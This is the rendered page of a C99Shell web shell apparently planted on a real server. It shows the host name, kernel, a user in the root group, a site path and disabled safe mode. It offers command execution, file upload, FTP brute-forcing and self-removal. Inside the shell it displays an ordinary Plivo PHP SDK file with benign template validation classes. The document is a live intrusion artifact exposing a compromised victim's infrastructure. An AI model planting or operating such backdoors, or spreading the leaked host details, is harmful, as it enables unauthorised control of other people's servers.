!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/plivo/plivo-php/src/Plivo/Util/   drwxr-xr-x
Free 29.18 GB of 117.98 GB (24.73%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     template.php (4.72 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Plivo\Util;
use 
Plivo\Exceptions\PlivoValidationException;
use 
Plivo\Util\Location;

function 
validateNotNullAndDataType($value$className$propertyName$dataType$checkNull=false)
{
    if (
is_null($value) && $checkNull) {
        throw new 
PlivoValidationException("Property '$propertyName' of '$className' data_type is mandatory.");
    }
    if (!
is_null($value) && gettype($value) !== $dataType) {
        throw new 
PlivoValidationException("Property '$propertyName' of '$className' data_type should be of type '$dataType'.");
    }
}

class 
Currency {
    public 
$fallback_value;
    public 
$currency_code;
    public 
$amount_1000;

    public function 
__construct(array $data)
    {
        
// Validate the data
        
$this->fallback_value = isset($data['fallback_value'])  ? $data['fallback_value'] : null;
        
$this->currency_code = isset($data['currency_code']) ? $data['currency_code'] : null;
        
$this->amount_1000 = isset($data['amount_1000']) ? $data['amount_1000'] : null;

        
validateNotNullAndDataType($this->fallback_value'currency''fallback_value''string'true);
        
validateNotNullAndDataType($this->currency_code'currency''currency_code''string'true);
        
validateNotNullAndDataType($this->amount_1000'currency''amount_1000''integer'true);
    }


}

class 
DateTime {
    public 
$fallback_value;

    public function 
__construct(array $data)
    {
        
// Validate the data
        
$this->fallback_value = isset($data['fallback_value'])? $data['fallback_value'] : null;
        
validateNotNullAndDataType($this->fallback_value'date_time''fallback_value''string'true);
    }
    
}

class 
Parameter {
    public 
$type;
    public 
$text;
    public 
$media;
    public 
$payload;
    public 
$currency;
    public 
$date_time;
    public 
$location;
    public 
$parameter_name;

    public function 
__construct(array $data)
    {
        
// Validate the data
        
$this->type = isset($data['type'])? $data['type'] : null;
        
$this->text = isset($data['text'])? $data['text'] : null;
        
$this->media = isset($data['media'])? $data['media'] : null;
        
$this->payload = isset($data['payload'])? $data['payload'] : null;
        
$this->currency = isset($data['currency'])? new Currency($data['currency']) : null;
        
$this->date_time = isset($data['date_time']) ? new DateTime($data['date_time']) : null;
        
$this->location = isset($data['location']) ? new Location($data['location']) : null;
        
$this->parameter_name = isset($data['parameter_name'])? $data['parameter_name'] : null;
        
validateNotNullAndDataType($this->type'parameter''type''string'true);
        
validateNotNullAndDataType($this->text'parameter''text''string');
        
validateNotNullAndDataType($this->media'parameter''media''string');
    }
    

}

class 
Component {
    public 
$type;
    public 
$sub_type;
    public 
$index;
    public 
$parameters;

    public function 
__construct(array $data)
    {
        
// Validate the data
        
$this->type = isset($data['type'])? $data['type'] : null;
        
$this->sub_type = isset($data['sub_type'])? $data['sub_type'] : null;
        
$this->index = isset($data['index']) ? $data['index'] : null;
        
$this->parameters = isset($data['parameters']) ? array_map(function($param) {return new Parameter($param);}, $data['parameters']): [];
        
validateNotNullAndDataType($this->type'component''type''string'true);
        
validateNotNullAndDataType($this->sub_type'component''sub_type''string');
        
validateNotNullAndDataType($this->index'component''index''string');
    }
    
}

class 
Template {
    public 
$name;
    public 
$language;
    public 
$components;

    public function 
__construct(array $data)
    {
        
// Validate the data
        
$this->name = isset($data['name'])? $data['name'] : null;
        
$this->language = isset($data['language'])? $data['language'] : null;
        
$this->components = isset($data['components']) ? array_map(function($component) {return new Component($component);}, $data['components']): [];
        
validateNotNullAndDataType($this->name'template''name','string'true);
        
validateNotNullAndDataType($this->language'template''language''string'true);
    }


    public static function 
validateTemplate(string $template)
    {
        try {
            if(
is_null(json_decode($templatetrue)))
            {
                return 
"Invalid JSON data for template!";
            }
            
//Validate the JSON data against the Template class
            
$template = new Template(json_decode($templatetrue));
            return 
null;
    } catch (
PlivoValidationException $e) {
        
// Handle validation errors here
        
return $e->getMessage();
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0055 ]--